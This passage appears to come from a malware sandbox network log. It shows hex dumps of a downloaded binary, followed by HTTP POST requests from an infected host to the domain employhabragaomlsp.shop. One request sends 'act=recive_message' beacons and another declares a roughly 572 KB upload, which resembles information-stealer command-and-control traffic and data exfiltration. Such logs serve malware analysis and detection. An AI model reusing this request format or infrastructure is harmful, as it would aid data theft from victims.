mode.$PEL4c"!.`pl- @A&@
2024-05-24 11:43:41 UTC	16384	IN	Data Raw: 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a e9 51 fe ff ff c7 41 14 0b 00 00 00 8b 51 18 Data Ascii: i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MAQAQ
2024-05-24 11:43:41 UTC	16384	IN	Data Raw: 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 08 8b 80 a0 00 00 00 83 e0 0c 83 f8 08 0f 85 Data Ascii: ti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-05-24 11:43:41 UTC	16384	IN	Data Raw: 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 8b 0d 48 11 1e 10 89 ca 09 c2 0f 84 b1 fe ff Data Ascii: w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SLH
2024-05-24 11:43:41 UTC	16384	IN	Data Raw: 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd 1b 10 68 78 fc 1b 10 6a 0e e8 0a 8f 02 00 83 Data Ascii: $pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hhhxj
2024-05-24 11:43:41 UTC	16384	IN	Data Raw: 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 b2 00 00 8b 45 08 ff 70 1c 68 20 85 1c 10 eb Data Ascii: o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$hEph
2024-05-24 11:43:41 UTC	16384	IN	Data Raw: 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b 5c 24 18 89 d8 83 c0 04 68 fc 01 00 00 6a 00 Data Ascii: h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$\$hj
2024-05-24 11:43:41 UTC	16384	IN	Data Raw: 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d ff ff ff 8b 10 8b 4d e8 83 c4 10 5e 5f 5b 5d Data Ascii: HukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-MmM^_[]
2024-05-24 11:43:41 UTC	16384	IN	Data Raw: f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff 01 74 09 85 ff 75 0a e9 69 03 00 00 c6 44 02 Data Ascii: WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$RttuiD
2024-05-24 11:43:41 UTC	16384	IN	Data Raw: c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 00 00 00 00 e9 36 f8 ff ff 8b 40 14 e9 d1 e9 Data Ascii: D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$6@

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	63772	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:41 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 11:43:41 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 11:43:41 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2sptec0d1urfb0c6c9lrice1ob; expires=Tue, 17-Sep-2024 05:30:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=seWErwnzb3ir4mrM2Q894Qdt%2BXI0SGpVHrWgO4IDD2xJs8Jsoa7J1GDoYTti6H7Y0FqSbCjlbE20%2FD19WZ904Ow%2FhQxZW29XmGtVwMgoNSJvGpa1YKHLdEfnJ42ryhufeZAknzVPT0XwZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d078a6bdd7ca0-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:41 UTC	557	IN	Data Raw: 31 64 36 39 0d 0a 30 41 4b 68 67 72 50 4a 44 54 4e 4f 2f 36 79 52 32 79 76 4a 37 38 37 4c 2b 6c 4d 35 76 65 6f 6b 58 30 78 2f 72 41 5a 43 44 35 79 72 49 4e 65 67 69 66 30 68 45 54 32 61 6a 71 75 76 57 62 79 4b 34 75 6d 62 4e 78 75 48 6a 45 55 7a 50 78 71 41 4a 43 64 33 76 75 70 5a 32 71 44 57 70 79 38 4a 62 4a 72 47 38 37 70 48 71 34 36 6c 70 49 6f 2f 57 74 57 47 51 7a 63 70 48 4d 68 6e 4c 6d 4c 35 74 57 66 41 36 4e 32 67 59 46 73 6a 33 59 43 7a 76 6c 48 72 31 65 79 47 6e 79 64 59 38 49 74 58 4e 47 34 43 67 48 31 67 61 76 4c 79 4f 49 50 6a 31 71 74 68 56 53 71 55 78 50 6d 7a 54 36 71 4c 70 4c 75 54 4e 56 48 56 69 45 41 32 49 78 58 63 61 69 52 6c 38 72 4e 74 77 4b 43 66 36 32 68 4a 62 4d 57 4f 6f 49 74 4b 75 70 79 35 70 49 67 33 47 38 44 47 58 33 30 70 45 Data Ascii: 1d690AKhgrPJDTNO/6yR2yvJ787L+lM5veokX0x/rAZCD5yrINegif0hET2ajquvWbyK4umbNxuHjEUzPxqAJCd3vupZ2qDWpy8JbJrG87pHq46lpIo/WtWGQzcpHMhnLmL5tWfA6N2gYFsj3YCzvlHr1eyGnydY8ItXNG4CgH1gavLyOIPj1qthVSqUxPmzT6qLpLuTNVHViEA2IxXcaiRl8rNtwKCf62hJbMWOoItKupy5pIg3G8DGX30pE
2024-05-24 11:43:41 UTC	1369	IN	Data Raw: 67 63 72 43 72 49 4d 54 73 6b 66 4d 76 58 79 6d 53 33 50 4b 72 54 4b 57 66 6f 4b 79 65 50 46 6a 52 69 45 4d 36 49 78 50 49 59 79 4e 6c 2b 72 4e 75 7a 2b 72 53 72 32 77 52 59 74 33 4a 36 2f 6b 52 36 37 79 76 72 5a 38 6a 57 4e 48 49 57 58 4d 33 58 63 6c 6f 59 44 57 2b 75 47 62 4f 36 64 71 73 5a 31 30 2b 6c 73 48 77 73 45 36 74 68 36 2b 68 6b 6a 64 56 33 6f 39 44 4f 6a 77 54 78 57 6b 6a 5a 2f 6a 79 4c 6f 50 6e 79 65 73 33 45 51 4b 65 33 2b 57 4c 53 72 71 63 37 4c 62 57 4b 42 76 59 68 41 5a 6c 62 68 54 47 61 79 31 67 39 4c 78 6c 7a 75 6e 51 71 6d 4a 58 4a 35 7a 47 2b 37 31 4f 71 34 6d 68 70 70 59 78 56 64 65 4e 51 6a 63 6e 58 59 41 6b 4a 33 57 2b 36 69 44 7a 37 64 32 67 59 78 4d 5a 6e 73 44 39 76 6c 2f 72 6b 75 4b 77 32 44 5a 58 6e 39 41 47 4c 79 55 51 7a 32 Data Ascii: gcrCrIMTskfMvXymS3PKrTKWfoKyePFjRiEM6IxPIYyNl+rNuz+rSr2wRYt3J6/kR67yvrZ8jWNHIWXM3XcloYDW+uGbO6dqsZ10+lsHwsE6th6+hkjdV3o9DOjwTxWkjZ/jyLoPnyes3EQKe3+WLSrqc7LbWKBvYhAZlbhTGay1g9LxlzunQqmJXJ5zG+71Oq4mhppYxVdeNQjcnXYAkJ3W+6iDz7d2gYxMZnsD9vl/rkuKw2DZXn9AGLyUQz2
2024-05-24 11:43:41 UTC	1369	IN	Data Raw: 2f 43 44 45 2b 4a 48 7a 4c 32 63 38 6b 4d 4c 64 73 6b 57 69 7a 62 50 6e 67 58 46 63 30 38 67 65 66 53 6f 52 78 6d 34 76 5a 50 53 34 62 38 72 67 32 61 4a 6d 55 69 79 52 79 50 4b 31 52 61 61 49 72 36 79 56 4e 46 76 54 6a 30 45 38 62 6c 4f 4f 59 7a 67 74 70 76 4a 51 7a 75 7a 61 70 79 31 6b 4c 35 50 41 39 4b 38 4a 74 4d 4f 31 36 5a 38 39 47 34 66 49 53 54 77 6a 46 38 56 71 4c 47 7a 2b 74 6d 50 4a 34 4e 36 75 61 56 6b 6c 6e 64 7a 30 74 6b 69 71 68 71 65 6b 6c 6a 52 61 32 6f 38 47 63 32 34 61 31 69 52 34 4c 64 4f 62 57 6f 50 2f 6e 37 49 76 56 69 44 64 6c 72 4f 39 51 36 75 41 70 71 4b 58 4d 6c 7a 52 69 45 73 33 50 42 58 4f 5a 43 35 72 2f 37 35 6c 77 75 7a 53 75 57 4e 58 49 5a 76 47 34 66 6b 48 36 34 71 30 36 63 42 78 65 39 53 45 52 54 45 76 47 6f 78 46 4b 6d 37 Data Ascii: /CDE+JHzL2c8kMLdskWizbPngXFc08gefSoRxm4vZPS4b8rg2aJmUiyRyPK1RaaIr6yVNFvTj0E8blOOYzgtpvJQzuzapy1kL5PA9K8JtMO16Z89G4fISTwjF8VqLGz+tmPJ4N6uaVklndz0tkiqhqekljRa2o8Gc24a1iR4LdObWoP/n7IvViDdlrO9Q6uApqKXMlzRiEs3PBXOZC5r/75lwuzSuWNXIZvG4fkH64q06cBxe9SERTEvGoxFKm7
2024-05-24 11:43:41 UTC	1369	IN	Data Raw: 2b 37 57 70 57 4e 66 49 5a 66 4e 2f 76 6b 48 36 34 71 30 36 63 42 78 64 39 69 46 61 44 59 69 47 6f 35 37 62 6e 53 2b 74 57 79 44 75 4a 47 6e 5a 56 30 6c 6e 63 66 32 73 55 4b 69 69 4b 32 69 6e 54 4a 64 30 6f 64 50 4c 79 51 65 77 47 63 73 59 66 69 7a 59 39 48 6f 32 4f 73 68 45 53 75 46 6a 71 76 35 61 4b 57 41 75 4b 36 49 63 55 53 52 6b 51 59 36 49 6c 32 57 4a 43 4e 73 38 62 46 68 7a 75 62 59 6f 32 39 58 4b 5a 4c 44 2f 62 35 4f 71 34 43 69 70 70 34 35 56 74 4f 44 53 44 51 6f 48 63 39 75 59 43 4f 2b 74 58 69 44 75 4a 47 62 62 46 45 73 68 6f 37 73 39 31 44 72 69 71 44 70 77 48 46 4a 31 59 46 47 50 69 45 61 79 6d 38 73 61 50 75 39 59 38 72 6c 32 4b 56 39 57 43 4b 56 78 76 79 38 51 71 75 41 70 71 57 59 4d 68 75 52 79 45 45 6c 62 6b 57 4f 56 69 31 68 36 4c 56 76 Data Ascii: +7WpWNfIZfN/vkH64q06cBxd9iFaDYiGo57bnS+tWyDuJGnZV0lncf2sUKiiK2inTJd0odPLyQewGcsYfizY9Ho2OshESuFjqv5aKWAuK6IcUSRkQY6Il2WJCNs8bFhzubYo29XKZLD/b5Oq4Cipp45VtODSDQoHc9uYCO+tXiDuJGbbFEsho7s91DriqDpwHFJ1YFGPiEaym8saPu9Y8rl2KV9WCKVxvy8QquApqWYMhuRyEElbkWOVi1h6LVv
2024-05-24 11:43:41 UTC	1369	IN	Data Raw: 68 6d 56 69 53 52 78 50 43 2b 43 65 58 4e 71 37 48 59 61 52 76 38 6e 31 59 77 62 67 4b 41 66 57 42 71 38 76 49 34 67 2b 6a 63 6f 32 56 56 4b 35 44 4a 39 62 42 62 6f 6f 69 69 71 5a 77 36 56 4e 6d 4d 52 54 30 38 47 38 70 73 49 32 44 7a 76 47 50 48 6f 4a 2f 72 61 45 6c 73 78 59 37 42 74 45 65 77 67 71 75 34 6b 6e 46 45 6b 5a 45 47 4f 69 4a 64 6c 69 51 6b 59 2b 79 35 59 63 6a 72 33 36 78 67 56 43 61 64 77 66 65 36 52 36 43 4d 72 36 47 56 50 46 58 56 67 55 38 36 49 68 6e 4a 4a 47 34 74 2b 61 6f 67 6d 36 44 36 69 6b 4a 39 4b 34 65 4f 37 50 64 51 36 34 71 67 36 63 42 78 56 39 61 45 54 44 59 70 46 38 42 74 4c 6d 62 73 6f 47 50 48 34 39 69 6f 61 46 67 69 6e 63 6e 32 74 30 36 71 68 71 69 6a 6d 7a 63 62 6b 63 68 42 4a 57 35 46 6a 6b 67 6a 62 66 4f 6f 49 4e 79 75 79 Data Ascii: hmViSRxPC+CeXNq7HYaRv8n1YwbgKAfWBq8vI4g+jco2VVK5DJ9bBbooiiqZw6VNmMRT08G8psI2DzvGPHoJ/raElsxY7BtEewgqu4knFEkZEGOiJdliQkY+y5Ycjr36xgVCadwfe6R6CMr6GVPFXVgU86IhnJJG4t+aogm6D6ikJ9K4eO7PdQ64qg6cBxV9aETDYpF8BtLmbsoGPH49ioaFgincn2t06qhqijmzcbkchBJW5FjkgjbfOoINyuy
2024-05-24 11:43:41 UTC	1369	IN	Data Raw: 2b 6e 73 48 38 76 55 6d 6b 69 36 71 6f 6c 7a 64 63 31 6f 6c 4f 4f 6d 35 54 6a 6d 4d 34 4c 61 62 79 54 73 54 6a 31 65 74 77 48 7a 58 64 79 66 2f 35 45 65 75 4e 70 71 4f 53 50 31 76 59 6d 6b 41 30 4c 68 37 63 5a 79 5a 6c 2b 4c 35 73 7a 75 6a 59 71 32 70 61 49 5a 62 44 39 62 6c 43 71 73 33 69 36 5a 38 70 47 34 66 49 64 7a 41 67 47 63 42 6e 4d 47 71 2b 72 53 37 61 6f 4e 61 6e 4c 77 6c 73 6b 73 66 68 76 6b 79 6a 68 4b 79 6e 6b 54 68 63 32 34 74 48 4f 53 49 53 78 32 63 6f 62 50 61 39 59 38 50 72 32 61 46 75 58 79 6e 64 67 4c 4f 2b 55 65 76 56 37 49 61 62 4e 46 44 65 79 6d 45 37 4b 52 47 4f 65 32 35 30 76 72 56 73 67 37 69 52 71 47 74 66 4a 5a 4c 4b 2b 62 35 4a 72 49 75 73 6f 5a 4d 38 55 4d 32 4e 53 44 67 76 48 63 39 72 4c 47 33 73 74 32 37 49 37 64 58 72 49 52 Data Ascii: +nsH8vUmki6qolzdc1olOOm5TjmM4LabyTsTj1etwHzXdyf/5EeuNpqOSP1vYmkA0Lh7cZyZl+L5szujYq2paIZbD9blCqs3i6Z8pG4fIdzAgGcBnMGq+rS7aoNanLwlsksfhvkyjhKynkThc24tHOSISx2cobPa9Y8Pr2aFuXyndgLO+UevV7IabNFDeymE7KRGOe250vrVsg7iRqGtfJZLK+b5JrIusoZM8UM2NSDgvHc9rLG3st27I7dXrIR
2024-05-24 11:43:41 UTC	135	IN	Data Raw: 76 66 6c 47 36 39 57 56 36 64 42 78 5a 4a 48 49 58 6e 31 32 58 66 74 6e 4c 6d 50 35 70 48 47 4f 77 38 65 6d 59 46 6f 74 33 59 43 7a 76 77 6e 7a 33 65 4c 70 6e 43 41 62 68 39 67 55 5a 6e 74 4f 6d 54 52 79 63 72 43 72 49 4e 57 67 69 66 6b 68 45 54 37 64 6c 72 50 2b 52 36 61 4d 72 36 65 62 49 30 6e 5a 69 31 41 2b 61 53 50 77 52 53 31 6d 38 72 39 76 79 4e 37 76 69 6d 4a 61 49 4a 44 42 2b 49 64 33 76 0d 0a Data Ascii: vflG69WV6dBxZJHIXn12XftnLmP5pHGOw8emYFot3YCzvwnz3eLpnCAbh9gUZntOmTRycrCrINWgifkhET7dlrP+R6aMr6ebI0nZi1A+aSPwRS1m8r9vyN7vimJaIJDB+Id3v
2024-05-24 11:43:41 UTC	1369	IN	Data Raw: 31 61 61 66 0d 0a 6f 36 69 70 35 38 6e 53 70 2f 47 42 6a 4a 75 52 66 63 6b 61 43 33 42 2f 43 44 62 6f 49 6e 72 57 6c 49 69 6b 38 6e 6c 71 41 53 4b 67 4b 65 6c 6c 54 35 51 6e 38 59 47 4f 32 35 46 6e 69 70 67 61 65 2f 79 4f 4a 4f 79 69 76 34 38 42 6e 7a 50 30 62 32 67 43 62 33 4e 39 50 76 57 63 55 6d 66 30 41 5a 36 4c 51 2f 63 59 69 4e 37 2f 66 56 65 2f 63 50 47 76 57 56 4b 62 72 76 4a 34 72 42 66 70 70 2b 53 6c 37 59 38 57 74 79 47 42 41 77 34 45 4e 35 6e 4a 57 72 41 6a 47 37 45 39 4e 61 6c 61 56 46 73 30 34 37 38 2b 52 47 53 7a 65 54 70 70 33 38 62 78 38 67 65 66 52 73 65 77 47 6f 6e 65 2b 2f 2f 51 39 54 32 32 37 41 74 64 79 75 4d 78 2b 57 30 57 2b 76 44 37 4b 2f 59 61 51 75 52 79 45 49 73 62 6b 57 65 4e 6e 73 34 72 65 55 77 6b 66 2b 66 73 69 39 48 62 4d Data Ascii: 1aafo6ip58nSp/GBjJuRfckaC3B/CDboInrWlIik8nlqASKgKellT5Qn8YGO25Fnipgae/yOJOyiv48BnzP0b2gCb3N9PvWcUmf0AZ6LQ/cYiN7/fVe/cPGvWVKbrvJ4rBfpp+Sl7Y8WtyGBAw4EN5nJWrAjG7E9NalaVFs0478+RGSzeTpp38bx8gefRsewGone+//Q9T227AtdyuMx+W0W+vD7K/YaQuRyEIsbkWeNns4reUwkf+fsi9HbM
2024-05-24 11:43:41 UTC	1369	IN	Data Raw: 41 65 65 4c 72 37 2f 59 44 68 57 66 6b 41 5a 6c 62 69 6a 4e 61 69 35 71 36 4b 4d 74 35 65 50 41 6f 55 35 63 50 4a 71 4f 76 66 6c 50 36 39 58 2f 35 39 67 31 53 70 2f 51 46 6d 39 31 53 4a 30 7a 63 44 2f 68 2f 48 6d 44 39 70 48 7a 50 52 39 73 6a 34 36 72 2b 51 36 6f 6e 37 36 76 6d 79 64 59 6d 4c 5a 34 43 43 30 54 77 47 4d 32 57 50 32 6a 59 38 50 72 37 35 56 4f 58 79 65 61 77 75 57 48 64 35 36 4f 6f 71 65 66 4a 30 71 66 78 67 59 79 62 6b 58 33 4a 47 67 74 77 66 77 67 32 36 43 4a 36 31 70 53 49 70 50 4a 35 61 67 45 6e 6f 36 39 71 70 67 36 47 35 48 49 51 48 31 32 54 34 41 6b 4a 48 79 2b 36 6a 43 52 75 34 54 34 4f 41 46 2b 67 6f 44 71 2b 56 2f 72 31 66 37 6e 32 43 4d 62 68 38 67 42 50 6a 77 50 79 47 63 32 62 72 6d 4d 58 75 58 6a 31 71 31 73 58 7a 75 4d 6a 4e 79 Data Ascii: AeeLr7/YDhWfkAZlbijNai5q6KMt5ePAoU5cPJqOvflP69X/59g1Sp/QFm91SJ0zcD/h/HmD9pHzPR9sj46r+Q6on76vmydYmLZ4CC0TwGM2WP2jY8Pr75VOXyeawuWHd56OoqefJ0qfxgYybkX3JGgtwfwg26CJ61pSIpPJ5agEno69qpg6G5HIQH12T4AkJHy+6jCRu4T4OAF+goDq+V/r1f7n2CMbh8gBPjwPyGc2brmMXuXj1q1sXzuMjNy

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	63774	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:41 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572795 Host: employhabragaomlsp.shop
